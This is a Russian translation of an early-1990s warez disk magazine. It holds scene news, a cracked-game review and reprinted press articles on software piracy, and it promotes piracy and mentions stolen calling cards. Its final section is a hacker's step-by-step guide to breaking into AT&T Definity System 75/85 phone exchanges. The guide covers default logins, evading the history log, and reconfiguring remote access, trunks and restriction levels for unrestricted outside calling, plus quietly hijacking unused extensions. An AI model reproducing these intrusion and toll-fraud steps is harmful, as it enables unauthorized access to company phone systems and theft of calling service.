Эти аресты произвели в Европе куда больший эффект, чем кто-либо мог ожидать. Некоторые крупные доски в Европе сисопы закрыли сами, и многие уже никогда не откроются вновь. Многие сисопы были арестованы и приговорены к крупным штрафам, которые будут выплачивать ещё долго. BSA совместно с местной полицией и Интерполом нанёс за несколько дней такой урон, который изменит облик европейских досок на долгие годы.

---

## **IBM: бесплатные дискеты — бери не хочу**

В тщетной попытке поднять продажи IBM решила рассылать по 21 высокоплотной дискете всем желающим. На этих дискетах находилась новая бета-версия OS/2 версии 2.1. Компания рассчитывала на дешёвый способ привлечения добровольцев, которые установили бы систему и прислали отчёты об ошибках. Но когда слух разошёлся, тысячи людей позвонили с запросами, и им немедленно выслали диски через FedEx. Большинство интересовались отнюдь не бета-версией, а просто самими дискетами. Да и сама бета оказалась настолько сырой, что была бесполезна на большинстве систем.

Когда IBM наконец спохватилась, тысячи копий уже разошлись. Некоторые даже запрашивали несколько экземпляров. IBM попыталась взимать плату за доставку и диски, но было слишком поздно, и бюджет оказался безнадежно превышен. Так держать, IBM, — неудивительно, что ваши акции упали до \$55 за штуку.

---

## **Пользователи дают сдачи U.S. Robotics**

С 1987 года U.S. Robotics (USR) была стандартом де-факто среди сисопов и многих рядовых пользователей. Лояльная аудитория не мешала компании предоставлять отвратительный сервис и затягивать поставки. Модемы, пользующиеся огромным спросом, вскоре обнаружили последствия экономии при производстве отдельных компонентов в некоторых из наиболее популярных моделей. Самым скандальным случаем стала модель Sportster — модем стандарта V.32bis, который можно было купить значительно дешевле Dual Standard. Хитрость состояла в том, что в обоих модемах использовалась одна и та же коммуникационная плата. Компания рассчитывала сэкономить, используя единую плату. Как же они просчитались.

Всё, что сделали со Sportster, — отключили протокол HST, превращающий его в Dual. С правильной строкой инициализации можно было превратить Sportster с прошивкой версии 4.1 в полноценный Dual за считанные секунды, потратив при этом треть стоимости полноценного Dual Standard.

Когда USR узнала об этом, компания пришла в ярость. Сначала там отрицали саму возможность такого. Когда же стало очевидно, что информация распространилась слишком широко и остановить её не получится, USR объявила, что использование «поддельной» строки инициализации является



нарушением авторских прав, и пригрозила судом каждому, кто попытается ею воспользоваться. Большинство встретили это со смехом и продолжали пользоваться, показывая USR «фак». Некоторые продавцы даже пытаются нажиться на этом, продавая Sportster по завышенной цене, а некоторые и вовсе выдают их за Dual.

Разумеется, дешёвое производство Sportster с тех пор прекратилось, и теперь для двух модемов делают отдельные платы. Версии с прошивкой 4.1 всё ещё встречаются повсюду и всегда будут обладать возможностью работать в режиме полноценного Dual. Но поосторожнее: полиция USR может заявиться к вам домой .

---

## Где тусуется сцена?

За последние полгода в крупных пиратских группах несколько раз сменился состав. Один поставщик успел поменять три группы за четыре месяца. Одна группа развалилась из-за недостатка поддержки со стороны ключевых участников, но сейчас предпринимает попытку возродиться. Ещё одна едва не раскололась надвое — как акции AT&T. Посмотрим, чем это кончится.

При этом реально что-то делает лишь около 15% сцены, тогда как остальные 85%, похоже, только жалуются и ноют. То кряк не работает, то кто-то забыл указать метки томов. Боже, неужели так трудно написать: «Эй, спасибо за релиз, но...». Время и усилия, которые уходят на то, чтобы раздобыть программу, проверить, нужно ли её крякать, упаковать и разослать по доскам, требуют значительных затрат денег и времени — и почти не получают признания со стороны большинства пользователей по всему миру.

Почему бы пользователям не скидываться для группы в знак благодарности за распространение файлов? Почему бы большему числу пользователей не помогать курьерить программы? Помогать с кряками? Делать читы, набирать документацию? Будьте частью решения, а не проблемы. Это уменьшит головную боль и принесёт больше уважения тем, кто тратит время и силы, чтобы всё это стало возможным.

---

## Рецензия месяца

Обычно я пишу рецензию на лучшую программу, попавшую ко мне с прошлого выпуска. Но поскольку эта игра меня так разочаровала, я вынужден высказаться.

|                     |                                                     |
|---------------------|-----------------------------------------------------|
| RELEASE INFORMATION |                                                     |
| Supplied by         | : ACTION MAN & MUNCHIE .....                        |
| Cracked by          | : HARD CORE .....                                   |
| Protection          | : Easy Password .....                               |
| Date                | : 16th December 1992 (Still 14 days left!) .....    |
| Graphics            | : ALL .....                                         |
| Sound               | : ALL .....                                         |
| Game Size           | : 5 1.44Mb disks , Installation from floppies ..... |

Одна из самых ожидаемых игр года появилась у меня на пороге и прямо-таки рвалась на установку: F15-J]. Я не мог дождаться, когда поставлю её на жёсткий диск, и плевать, сколько места она

займёт. В процессе установки меня предупредили, что вступительный ролик займёт больше 2 Мб на диске, — мне было всё равно. Хотелось увидеть всё. Когда я загрузил игру и посмотрел вступление, я думал, что это будет лучшее, что я видел. Жаль, что остальные 8 Мб оказались чистой тратой места.

Я начал в режиме быстрой игры, сразу поднявшись в небо. Жаль, что единственное, что я узнал на экране — само небо. Снижаясь к побережью, я заметил, что оно выглядит подозрительно похоже на сушу — да, в общем, оно ею и было. Океан состоял из светло-голубых точек и по цвету почти не отличался от земли. Не найдя в воздухе ничего, во что можно было бы выстрелить, я начал пускать ракеты во всё подряд, что могло взорваться. Взрывалось буквально всё, включая мосты. Пустишь туда несколько очередей — и такой фейерверк, будто ядерную бомбу бросил.

Примерно через 3 часа я наконец нашёл самолёт, взял его на прицел и выпустил 3 ракеты. Мощный взрыв, ещё один — и он пролетел мимо меня без единой царапины. Я выпустил последние 2 ракеты — тот же результат. Вывод напрашивается сам: у русских, видимо, неуничтожимые самолёты. Или в F-15 ][[ серьёзные баги. Рискну предположить — баги.

Эта игра не стоит коробки, в которой продаётся, и я бы не советовал её никому, кроме незрячих. Оценки я ненавижу, но дам ей 2/10. Два балла — за многопользовательскую игру по модему: неплохая, но недостаточно хорошая.

---

## **Пиратство незаконно, но не такое уж страшное зло, как принято считать — 9 августа 1992**

**Авторы:** T.R. Reid и Brit Hume (Chicago Tribune, стр. 7)

Индустрия программного обеспечения развернула очередную пиар-кампанию, пытаясь убедить общество в том, что её грабят пиратские программы. Даже New York Times отнеслась к этим заявлениям серьёзно и опубликовала статью на первой полосе с фотографией весёлого компьютерного хакера в гавайской рубашке, сидящего в подвале в окружении ПК и гор дискет, многие из которых содержат нелегальные программы.

Times с серьёзным видом сообщила о заявлении отрасли: в 1990 году — последнем, по которому имеются данные — было пиратировано программ на \$2,4 млрд, что составляет почти половину совокупных продаж отрасли в \$5,7 млрд. На самом деле у индустрии программного обеспечения нет никакой возможности знать, сколько она потеряла из-за незаконного копирования, и цифра в \$2,4 млрд почти наверняка выдумана. Вот почему.

Бесспорно, сделать «нелегальную» копию компьютерной программы — пустяк, и практика эта повсеместна. Вставляешь диск в дисковод, вводишь команду копирования — и компьютер делает всё сам.

Но индустрия программного обеспечения просто не способна точно подсчитать количество нелегальных копий, и даже если бы могла, всё равно не смогла бы определить, сколько из них представляют упущенные продажи. Из каждого факта пиратской копии вовсе не следует потеря продажи. Это было бы верно лишь в том случае, если бы пират заплатил за программу, не имея возможности получить её бесплатно.

Более того, некоторые нелегальные копии, несомненно, ведут к реальным покупкам. Попробовав программу — особенно полнофункциональное приложение вроде текстового редактора или базы данных — и оценив её, пользователи могут решить, что им нужно руководство пользователя и возможность позвонить в службу поддержки.

Получить всё это можно только купив программу. Если это кажется наивным, достаточно вспомнить, что целое направление индустрии построено именно на таком принципе. Оно называется shareware — программное обеспечение, предлагаемое бесплатно для ознакомления. Если понравится — просят купить. Взамен вы получаете печатное руководство и телефонную поддержку.

Текстовый редактор, в котором написана эта колонка, PC-Write, — именно такая программа. Как и телекоммуникационная программа, через которую она была отправлена, — ProComm. Обе созданы талантливыми независимыми разработчиками, воспользовавшимися беспрецедентной возможностью, которую предоставил им персональный компьютер. Им нужен был только ПК, рабочий стол, текстовый редактор и специальный инструмент — «компилятор». Компилятор переводит код, написанный на языке вроде Basic, C или Pascal, в двоичный код, который понимает компьютер.

Написав программы, они включили набор инструкций в текстовый файл и обращение с просьбой к тем, кому программа понравится, заплатить взнос и стать «зарегистрированным» пользователем. Затем они раздавали копии друзьям, выкладывали их на доски объявлений и в программные библиотеки. Каждого поощряли пользоваться программой — и передавать её дальше.

Лёгкость копирования программ была для этих разработчиков не проблемой, а самым средством распространения. Им это ничего не стоило, и они только выигрывали, если люди находили их программу достаточно хорошей для использования. И выигрывали немало. И PC-Write, и ProComm заработали хорошие деньги как шарвары, а их расширенные версии теперь выпускаются по коммерческим каналам.

Всё это не означает, что пиратство оправдано. Нет, и в коммерческих целях использовать краденую программу особенно бесчестно. Практика покупки одной копии на весь офис с тем, чтобы все её копировали и пользовались одним руководством, — позорна. Программы могут быть дорогими, но это вычитаемые деловые расходы, и они того стоят.

Вместе с тем использование несанкционированной копии для ознакомления перед покупкой — не такое уж страшное зло. Успех индустрии шарвара доказал, что это может даже стимулировать продажи.

---

## От «программной полиции» не спрячешься — 28 октября 1992

**Автор:** Elizabeth Weise (The Seattle Times, стр. B9, Associated Press)

Одного звонка на горячую линию по борьбе с пиратством достаточно, чтобы «программная полиция» постучалась к вашим компьютерам. Компания Parametrix Inc. из Сиэтла убедилась в этом в прошлом году, когда «программная полиция» — она же Ассоциация издателей программного обеспечения (SPA) — явилась с ордером на обыск и судебным приставом для проверки их компьютеров. Проверка обнаружила несколько десятков экземпляров несанкционированных программ и обернулась штрафом в \$350 000 для Parametrix.

По мнению SPA, слишком многие компании занимаются «мягким пиратством» (softlifting) — покупают одну копию нужной программы и размножают её на все свои компьютеры.

Это кажется таким простым — и попасться так же просто.

«Достаточно одного звонка на бесплатный номер, чтобы колесо закрутилось. Кто рискует так поступать — живёт на одолженное время», — сказал Питер Берук, руководитель судебного отдела Вашингтонской SPA. «Можно бежать, но не спрятаться». Ставки растут. На подписи у президента Буша находится законопроект, который повышает коммерческое пиратство программ с уровня

мисдиминора до уголовного преступления. Закон предусматривает лишение свободы на срок до пяти лет и штрафы до \$250 000 для осуждённых за кражу не менее 10 копий программы или программ стоимостью свыше \$2 500.

В компьютерной индустрии говорят, что остановить softlifting сложно, пока программисты плохо контролируются. AutoDesk Retail Products из Кёркланда столкнулась с трудностями при обучении персонала требованиям закона. AutoDesk выпускает программы автоматизированного проектирования. «Проблема в том, что приходится нанимать людей, не желающих следовать правилам», — сказал менеджер AutoDesk Джон Дэвисон. «Мы нанимаем хакеров. Для них это не кража — им просто хочется играть с программами. Есть компьютер — есть хакер — есть проблема». По словам Берука, пиратство обходится издателям американских программ примерно в \$2,4 млн ежегодно — при годовых продажах от \$6 до \$7 млрд. «На каждую легальную копию проданной программы приходится одна несанкционированная, которой пользуются ежедневно», — сказал Берук. SPA и её члены расценивают это как кражу — чистую и незамутнённую.

SPA основана в 1984 году, и одна из её задач — обеспечение соблюдения законодательства об авторских правах в отношении производителей программ. С тех пор организация провела 75 обысков и подала около 300 исков, сообщил Берук. Несколько крупнейших обысков прошли на северо-западе страны. В мае SPA урегулировала иск о нарушении авторских прав против олимпийской компании U.S. Intelco на \$50 000. В прошлом году Центр продолжения образования Орегонского университета в Юджине согласился выплатить \$130 000 и провести национальную конференцию по авторскому праву и использованию программ в рамках мирового соглашения с SPA. Сигнал нередко поступает на бесплатную горячую линию SPA от обиженных сотрудников или бывших работников, сообщающих о нелегальном использовании программ в компании.

В случае с Parametrix расследование подтвердило первоначальный донос, и SPA получила ордер на обыск. Президент Уэйт Долримпл рассказал, что теперь компания проводит ежеквартальную инвентаризацию каждого компьютера. Раз в год привлекается независимая компания для проверки на предмет несанкционированных программ.

Мягкое пиратство, по словам Долримпла, — ловушка, в которую легко угодить. «Наша компания переживала стремительный рост, а вместе с ней и количество используемых нами компьютеров, — сказал он. — У нас не было политики в отношении использования программ, и мы просто не контролировали, что происходит».

Изготовление нелегальных копий программ — нарушение авторских прав, такое же незаконное — и такое же лёгкое — как копирование кассеты или видеоплёнки. Разница в масштабе. Кассета стоит \$8, видео — около \$25, тогда как компьютерные программы могут стоить сотни и даже тысячи долларов. На аудио- и видеокассетах печатают предупреждение ФБР об ответственности за незаконное копирование. На программном обеспечении уведомление о штрафных санкциях за нарушение авторских прав размещено прямо на коробке. Но несмотря на такие угрозы, softlifting всерьёз не воспринимают, говорит Джули Шеффер, директор Вашингтонской ассоциации программного обеспечения. «Это та же сфера интеллектуальной собственности, — говорит Шеффер. — Но люди не думают о часах и часах работы, которые уходят на написание программы».

Компания Boeing из Сиэтла — пример того, как стараются не нарушать закон. У неё есть специальный отдел Software Accountability, следящий за соблюдением лицензионных соглашений.

AutoDesk прибегает к физической инвентаризации руководств пользователя, прилагаемых к каждой программе. Если у программиста в рабочем кубике нет руководства, ему грозит штраф в \$50.

Сама SPA считает, что проблема — скорее в просвещении, чем в правоприменении. «Поскольку копировать программы так просто, а лицензионные соглашения нередко запутаны, многие люди не осознают, что нарушают закон», — говорит SPA.

Ссылки на незнание закона не помогают. В случае с продуктами Microsoft ответственность пользователя наступает с момента вскрытия упаковки. «В этот момент вы соглашаетесь с лицензионным соглашением Microsoft в соответствии с законом об авторских правах», — сказала представительница Microsoft Кэти Эрлих. «Об этом написано прямо на упаковке».

---

## Юные пираты и подростковое подполье — 11 декабря 1992

**Автор:** Justin Keery (The Independent, стр. 31)

*«К концу года любой школьник с компьютером, который хочет Секс, его получит.»*

Первый тираж книги Мадонны «Секс» в 100 000 экземпляров распродан. До Рождества будет напечатано ещё 120 000, и книжные магазины заказали все до единого. Но родителям стоит насторожиться: около 5 000 школьников уже имеют собственную копию, и число это быстро растёт — дискеты переходят из рук в руки прямо на школьных дворах.

Просмотр дискетной версии на компьютере открывает изображения из книги телевизионного качества — текст, похоже, сочтён излишним. В цифровом виде картинки можно копировать и обменивать на видеоигры, авторитет или живые деньги на процветающем подпольном рынке. К концу года любой школьник с компьютером, который хочет Секс, его получит. Невезучим в придачу достанется «болезнь, передающаяся половым путём» — вирус Disaster Master, обнаруженный на копии, попавшей к корреспонденту The Independent.

Секс — особая статья в бурно развивающемся юношеском подполье торговли программами. Распространение снимков Мадонны среди несовершеннолетних, у которых нет ни денег, ни усов, чтобы купить «Секс» в магазине, почти не угрожает продажам. Ни издательство Secker & Warburg в Лондоне, ни Time-Warner в Нью-Йорке не знали о неофициальном цифровом издании. А вот издатели компьютерных видеоигр рискуют потерять много.

«Секс» пользуется не слишком большим спросом, рассказал один школьник-торговец. Видеоигры с ценниками до 40 фунтов — вот чего хочет каждый ребёнок, но что мало кто может себе позволить. Но зачем покупать, если одноклассники отдадут копию последнего хита за другую игру, мельком взглянуть на Мадонну или за обычный фунт стерлингов?

Игровые диски обычно защищены от копирования. Умелые программисты «взламывают» защиту — как интеллектуальный вызов и способ заслужить уважение в закрытой среде — добавляют «тренировочные» опции вроде дополнительных жизней и выкладывают эту версию на компьютерную доску объявлений: компьютерную систему с телефонным подключением, где люди регистрируются, чтобы торговать своим «добром».

Большинство досок объявлений (BBS) — дружелюбные места, где компьютерные энтузиасты обмениваются советами, сообщениями и программами «общественного достояния», которые авторы предоставляют бесплатно. Но нелегальные операторы, или SysOps, с презрением смотрят на «ламерские» легальные доски и «нюкают» любые материалы общественного достояния, попавшие в их систему.

Крупные пиратские доски — это штаб-квартира крекерской группы, нередко располагающейся в спальне 15-летнего подростка. В Британии их около 100. Взломанные игры и «демо» публикуют номера телефонов, а также предупреждение о том, что нарушающее авторские права программное обеспечение выкладывать нельзя — дисклеймер сомнительной юридической силы. Новым участникам задают вопрос, не являются ли они сотрудниками правоохранительных органов. Согласно предупреждению на одной из досок, как минимум одна BBS в США управляется ФБР.

Ваш аккаунт на доске может не разрешать скачивание, пока вы не выложите добро достаточного качества. Игры считаются устаревшими уже через неделю, поэтому пикантные изображения, «демо» или списки, полезные для хакеров, служат альтернативным товаром. На этой неделе, помимо Мадонны, доступны: «руководство ламера по взлому АТС», «Тех» и «Grapevine» — диск-журналы для пиратов; и демо — демонстрации мастерства в графическом и звуковом программировании с хвастливыми посланиями, словесными атаками на соперников и рекламой BBS. По словам бывшего сотрудника полиции, в прошлом здесь циркулировали рецепты ЛСД и взрывчатых веществ.

«Соотношение скачиваний» на доске определяет, сколько дисков возвращается за каждый вклад — обычно на каждый загруженный мегабайт отдаётся два. «Пиявочные аккаунты» (неограниченный доступ без квот) — для тех, кто достаточно глуп, чтобы платить от 1 до 60 фунтов в месяц. Но дети могут зарегистрироваться под псевдонимом, загрузить «фейк» — мусорные данные для увеличения кредита — и «паразитировать» сколько угодно, пока их не «нюкнут» из списка пользователей.

«Модем-трейдер» — ночной добытчик, ползающий по BBS: скачивает добро с одной доски, загружает на другую. Современные модемы позволяют перенести содержимое дискеты за 10 минут. «Поставщик карточек» может предоставить номер украденной телефонной карточки США или Европы. Сцена не знает языковых барьеров и пограничного контроля, и международное взаимообогащение добавляет разнообразия в оборот программ.

Через неусыпного ночного трейдера или более состоятельного «ламера» с оплаченным «пиявочным аккаунтом» игры добираются до школьного двора. Трейдеры и пиявки зарабатывают карманные деньги, продавая диски всего за 1 фунт, — и оттуда торговля начинается.

Часть рыночных торговцев сообразила, какую прибыль это сулит: получают взломанные программы через пиявочные аккаунты и продают диски на лотках. По карманной цене — 1 фунт за диск — многие игры добираются до школ. Торговля программами, охраняемыми авторским правом, незаконна, но виновным почти ничего не грозит, и привлечь их к ответственности крайне маловероятно.

Жертвы — игровые студии — несут реальный ущерб. Продажи компьютеров Commodore Amiga соответствуют уровню специализированных игровых приставок — Sega Megadrive или Nintendo, однако продажи игр для Amiga (на дискетах, а значит, лёгкой добычи для пиратов) нередко достигают лишь трети объёма продаж их аналогов на пиратозащищённых картриджах для консолей. Несмотря на предпочтение технологии Amiga, Фил Торнтон из System 3 Software «всерьёз рассматривает» вопрос о прекращении разработки игр для Amiga. Myth — двухлетний проект — продан в жалкое количество экземпляров. В день выхода игры Торнтону позвонил пират — игра уже была на доске объявлений. Из-за пиратства продолжение успешной Putty будет выпущено для консоли Nintendo.

Эта тактика может не помочь надолго. Взломанный релиз Putty для Amiga содержал рекламу (добавленную пиратами) устройства для «резервного копирования» картриджей Nintendo. Перенесённая на диск, «пиратозащищённая» консольная игра может продаваться так же, как любая другая. Игры для систем Nintendo и Sega доступны на большинстве досок.

Шотланд-Ярд проявляет интерес к доскам объявлений только в случае порнографии — хотя большинство из них содержат и пиратское программное обеспечение. Финансируемая игровой индустрией Федерация по борьбе с кражей программного обеспечения (Federation Against Software Theft) успешно привлекла к ответственности лишь одну доску — «ещё несколько дел в производстве».

На это Рождество родители купят сотни тысяч видеоигр. Некоторые дети попросят модемы; таким образом, на Рождество игры уже окажутся на досках объявлений, а первый день четверти

ознаменуется самым оживлённым обменом за год.

**ПРИМЕЧАНИЕ АВТОРА:** Я подумывал использовать псевдоним для этой статьи. Два года назад журналист Newsweek разоблачил северо-американскую сеть досок объявлений. Его кредитный рейтинг, файлы социального страхования и банковские записи были изменены в рамках кампании запугивания, включавшей угрозы убийством. Большинству причастных было по 15 лет.

# Краткое руководство по системам Definity серии G

(она же System 75 - 85)

**Автор:** Scott Simpson

---

Приветствия Jim Anderson, The Missing Link, Randy Hacker, Dark Druid, Nickodemus, Mercury, Renegade, Infinity (наслаждайся армией!), Weirido, TomCat, GarbageHeap, Phrack Inc.

## Краткая история

Системы семейства Definity появились в конце 1970-х годов. В 1983 году AT&T выпустила доработанную модель под названием 75. Эта система была рассчитана на большее количество входящих линий и содержала меньше ошибок, чем предыдущая версия. Версия 1983 года была заменена переработанной версией 1986 года. Сегодня системы именуются G-моделями. System 75 теперь называется G1, а 85 — G2. В настоящее время доступна новая модель Definity G3I — Generic 3 с процессором Intel — и Definity G3R — Generic 3 с RISC-чипом. Каждая модель выпускается в трёх вариантах. Первый вариант наиболее распространён и представляет собой однокорзинный блок XE. Остальные два варианта — двухкорзинные. Стоимость системы обычно составляет от 50 до 80 тысяч долларов. Вы МОЖЕТЕ встретить упрощённую версию под названием «Merlin Legend». Она рассчитана примерно на 50–100 линий. System 75 и 85 вмещают около 1000 линий. Системы 75/85 используются компаниями для обработки всех входящих линий, а также для маршрутизации вызовов к настроенным владельцами пунктам назначения — будь то Audix или иная конфигурация. Помимо голосовых почтовых ящиков (VMB) и АТС (PBX), у этих систем есть много других применений. System 75/85 обладает тремя основными функциями, представляющими интерес для хакеров: возможности VMB, бриджинг и, разумеется, PBX-обмены.

## Обнаружение системы

Когда вы найдёте System 75, вы установите соединение на 1200 бод без контроля чётности (если используется HST), поскольку большинство конфигураций оснащены встроенным модемом 1200 бод. Как правило, номер контроллера не находится в том же префиксе, что и телефон компании или PBX, а сама линия принадлежит AT&T. Попробуйте сделать CNA по линии System 75 — она сообщит, что принадлежит AT&T. Обнаружив несущую, вам потребуется поддержка ANSI или аналогичной терминальной графики. Большинство систем настроены на N81, хотя некоторые могут использовать E71. Рекомендую использовать ToneLoc от Mucho Maas и Minor Threat. Как известно, эта программа умеет сканировать как несущие, так и тональные сигналы. Её можно найти практически на любой элитной H/P BBS.

## Вход в систему

Войти в систему несложно, если у вас есть данные по умолчанию. Найти их придётся самостоятельно, и вы обнаружите, что многие не горят желанием ими делиться. Существует один



стандартный аккаунт, который позволяет осмотреться и выяснить, есть ли PBX, при условии что пароль не был изменён и аккаунт не заблокирован. Этот стандартный аккаунт, как правило, является полнофункциональным, но лишён прав на изменение каких-либо данных; впрочем, мне попадались системы, где он вообще ничего не делал. Использование этого аккаунта — хороший способ начать, если вам удастся его найти. Его также удобно применять при каждом визите, когда вы не планируете ничего менять. Все действия этого аккаунта не фиксируются в файле истории системы. Теперь переходим к самому интересному!

## Злоупотребление System 75

После входа в систему 75 доступны несколько команд в зависимости от того, какой аккаунт по умолчанию вы используете. Эта часть посвящена основам. Более продвинутые возможности я объясню позже.

После входа в систему вам будут доступны команды LIST, DISPLAY и ещё пара несущественных. Только они вам и нужны с упомянутым стандартным аккаунтом. Сначала введите DIS REM (display remote access — показать удалённый доступ). Если в системе настроена PBX, она будет показана в строке расширения. Код барьера — это код доступа к PBX. Если там стоит «попе», кода нет, и набирается просто 9+1. Строка расширения может содержать 3 или 4 цифры. Как правило, если это 3 цифры, система работает через AUDIX (AUDio Information eXchange) — или же системные администраторы умны и скрывают одну цифру! Загляните в план нумерации (dialplan) и посмотрите, трёх- или четырёхзначные там расширения. Если расширения трёхзначные, скорее всего, нужное находится где-то в системе AUDIX. Если работа идёт через AUDIX, просматривайте все расширения командами list или display, пока не найдёте что-то вроде «remote extension» или нечто выбивающееся из общего ряда. Если одна цифра скрыта, воспользуйтесь ToneLoc для сканирования нужной цифры. Далее выведите список транковых групп. Это покажет вам фактический коммутируемый номер. Если найти его здесь не удастся — не паникуйте. Просматривая транковые группы, обращайте внимание на входящее назначение (incoming destination) и ночное назначение (night destination). Если в каком-либо из них отображается нужное удалённое расширение — вот ваша PBX. Если нет — продолжайте просматривать все транковые группы. Запишите все найденные номера телефонов и попробуйте их. Обычно они находятся примерно на третьей странице.

Во МНОГИХ случаях компании перенаправляют внутреннюю линию на саму PBX. Если при отображении удалённого доступа расширение удалённого доступа отсутствует — вам не повезло, если только у вас нет более привилегированного аккаунта по умолчанию. В таком случае читайте дальше.

## Настройка собственной PBX

Если у вас более привилегированный аккаунт по умолчанию, вы заметите, что команда help показывает дополнительные команды: change, download и другие. Помните, что компания может изменять привилегии стандартных аккаунтов, поэтому, если эти команды недоступны, попробуйте другой аккаунт. Первым делом выведите план нумерации (dialplan). Он покажет количество цифр и первую цифру каждой из последовательностей. Ниже приведён пример плана нумерации. Он может выглядеть по-разному.

```
                Number of Digits
-----1-----2-----3-----4-----5-----6-----7-----8-----9
--
F 1
I 2      Tac
```

```

R 3
S 4          Fac
T 5
    6          Extension
D 7          Extension
I 8          Tac
G 9
I 0 Attendant
T *
#

```

Согласно приведённой таблице, все расширения будут начинаться с 6 или 7 и состоять из четырёх цифр. TAC — двузначный и начинается с 2 или 8. О FAC и прочем пока можно не беспокоиться.

После того как вы зафиксировали эти данные, введите `ch rem` (change remote access — изменить удалённый доступ), перейдите в строку расширения и введите нужное расширение. Затем найдите транковую группу, которую хотите использовать, и введите `ch tru #`. Перейдите в строку ночного обслуживания (night service) и введите туда это расширение. Если ночное обслуживание уже назначено на всех транках — не беда. Если нет — добавьте и сохраните. Если система выдаёт «invalid extension», значит, вы неверно прочитали dialplan. Если выбранное расширение уже используется, система сообщит об этом при попытке прописать его в строке удалённого расширения. После завершения всех операций вы можете вернуться к настройкам удалённого доступа и добавить код, либо ввести «none» — оба варианта допустимы. СЛЕДУЮЩАЯ ЧАСТЬ ОЧЕНЬ ВАЖНА! Посмотрите на установленный транк и запишите номер COR. Отмените эту команду и введите `dis cor #`. Убедитесь, что Facilities Restriction Level (FRL) в верхней части установлен в 7 (7 — наименее ограниченный уровень, 0 — наиболее ограниченный), а в полях ограничений вызывающей и вызываемой стороны (calling party restrictions & called party restrictions) стоит слово «none» (в нижнем регистре)! Если это не так, введите `ch cor #` и внесите изменения. Наконец, введите `dis feature`. Отобразятся коды доступа к функциям (feature access codes) системы. Там будет строка вроде «SMDR Access Code». Это код, который вводится после кода барьера (если он есть). Я видел варианты вроде \*6 и т.п. Также на второй странице, насколько помню, будет что-то вроде «outside call» — обычно это 9, но лучше проверить. На этом данный раздел завершён. Всё должно работать. Для тех, кому нужна PBX, работающая 24 часа в сутки, — следующий раздел для вас.

---

Для тех, кто хочет получить PBX, работающую 24 часа в сутки, большинство шагов выше те же самые. Единственное отличие: нужно просмотреть все транки, пока не найдёте транк с несколькими входящими ротационными линиями. Просто запишите номер порта и телефонный номер для дальнейшего использования, затем удалите транк командой `ch`. Из основного приглашения введите `add tru #`. В качестве TAC введите корректный номер TAC. Продолжайте, пока не дойдёте до COR. Введите допустимый номер, помня, что FRL должен быть равен 7 и т.д. Следующая незаполненная строка, требующая значения, — incoming destination (входящее назначение). Установите его на ранее созданное удалённое расширение. Следующая незаполненная строка, насколько помню, — тип (примерно в середине страницы). Введите «ground», и система должна вывести «ground-start». При наличии ошибки сохранение не произойдёт, и курсор переместится на строку, требующую заполнения. После успешного завершения данные сохраняются. После этого раздела приведён пример транка в том виде, в каком он должен выглядеть для использования с PBX. Далее перейдите на страницу 3 и введите записанные ранее номер порта и телефонный номер. Сохраните все внесённые изменения. Этого должно быть достаточно.

---

Ещё один способ! Просматривая все расширения в системе, можно найти «свободное» расширение. Например, телефон в приёмной, пустом офисе или где-то ещё. Это расширение

должно быть допустимым номером в их сети или доступным через AUDIX, чтобы данный метод сработал. Если вы знаете, как добавлять порты в Audix, этот метод будет наиболее предпочтительным, поскольку настройка транка не потребуется. Если вы обнаружите нечто подобное, лучше использовать это как вашу круглосуточную PBX, а не отнимать у системы линию — по нескольким причинам: 1) изменений меньше, значит, в файл истории попадёт меньше данных; 2) другие пользователи с законными правами на линию не будут озадачены, услышав сигнал набора; и 3) компания ещё долго не заметит, что потеряла едва использовавшееся расширение! Для настройки этим способом удалите старые данные расширения командой `remove extension #`. Система отобразит подробную информацию о станции. Сохраните — расширение будет удалено. Далее перейдите к удалённому доступу и введите удалённое расширение в строку удалённого расширения. Затем введите код барьера или «попе», если код не нужен. Сохраните! При таком подходе, как правило, НЕ требуется добавлять новый транк, поскольку порт уже есть в системе; однако если возникнут проблемы — вернитесь и добавьте транк. Всё равно потребуется назначить COR в меню удалённого доступа, и не забудьте убедиться, что FRL и ограничения настроены правильно, как описано выше.

---

Во второй части, если будет спрос, я расскажу, как организовать бридж через систему 75. Это значительно сложнее и требует тщательного изучения руководств. Если кто-то сможет достать руководства — настоятельно рекомендую это сделать. Также в части 2, возможно, я покажу, как создать VMB. Если у них есть голосовая почта AUDIX — скорее всего, есть и система 75!

Удачной охоты и до скорой встречи!

Если хотите задать вопрос, можете найти меня в сетях или на IRC.

Enjoy!

Scott Simpson

---

## Приложение А: Пример транка для PBX

```
Trunk Group                                     Page 1 of 5
-----

Group Number #                               Group Type: co                               Smdr Reports: n

Group name: Whatever ya want                  Cor: #                               Tac: #

Mis Measured? n

Dial access: y      Busy Threshold: 60      Night Service: What will answer
                                     after hours

Queue length: 0      Abandoned call Search: n      Incoming Dest: What will answer
                                     any time the # is
                                     called unless NS
                                     has an extension.

Comm Type: voice      Auth Code: n      Digit Absorption List:

Prefix-1? n      Restriction: code      Allowed Calls List: n

Trunk-Type: Ground-start

Outgoing Dial type: tone

Trunk Termination: whatever it is      Disconnect Timing: Whatever it is
```

to. set to.  
ACA Assignments: n

[Page 2 is not all that important. It's usually used for all of the  
[maintenance to the trunk etc. so leave it all set to its default setting.]

page 3 of 5  
Port Name Mode Type Answer delay  
1 Port number phone number  
2  
3  
etc.

Вот всё необходимое для транков.

---

## Приложение В: Основные команды и термины

### Основная терминология

| Аббревиатура | Расшифровка                                                           |
|--------------|-----------------------------------------------------------------------|
| COR          | Class Of Restriction (класс ограничений)                              |
| FRL          | Facilities Restriction Level (уровень ограничений доступа)            |
| SMDR         | Station Message Detail Recording (детальная запись сообщений станции) |
| TAC          | Trunk Access Code (код доступа к транку)                              |
| FAC          | Feature Access Code (код доступа к функции)                           |

---

### Основные команды для эмуляции терминала по умолчанию (513)

|     |                                             |
|-----|---------------------------------------------|
| TAC | Trunk Access Code (код доступа к транку)    |
| FAC | Feature Access Code (код доступа к функции) |

---

### Команды для терминала 4410

Please enter one of the following action command words:

|         |           |        |
|---------|-----------|--------|
| add     | duplicate | save   |
| change  | list      | set    |
| clear   | monitor   | status |
| display | remove    |        |

Or enter 'logoff' to logoff the system

---

Ниже приведено описание всех команд.

Следующий текст — перехваченный буфер сессии входа в System 75. Команды зафиксированы и дополнены краткими определениями.

Display и list — по сути одна и та же команда, но display показывает более подробную информацию по выбранному объекту. Например, list tru выведет список всех транковых групп в системе. dis tru запросит номер транка, а затем отобразит всю информацию по нему.

### Справка СН

- **Add** — говорит само за себя
- **Change** — также говорит само за себя
- **Clear** — очищает сегмент
- **Duplicate** — дублирует процесс
- **List** — говорит само за себя
- **Monitor** — используется для тестирования и мониторинга системы
- **Remove** — удаляет что угодно из системы, КРОМЕ файла истории! Увы, ребята!
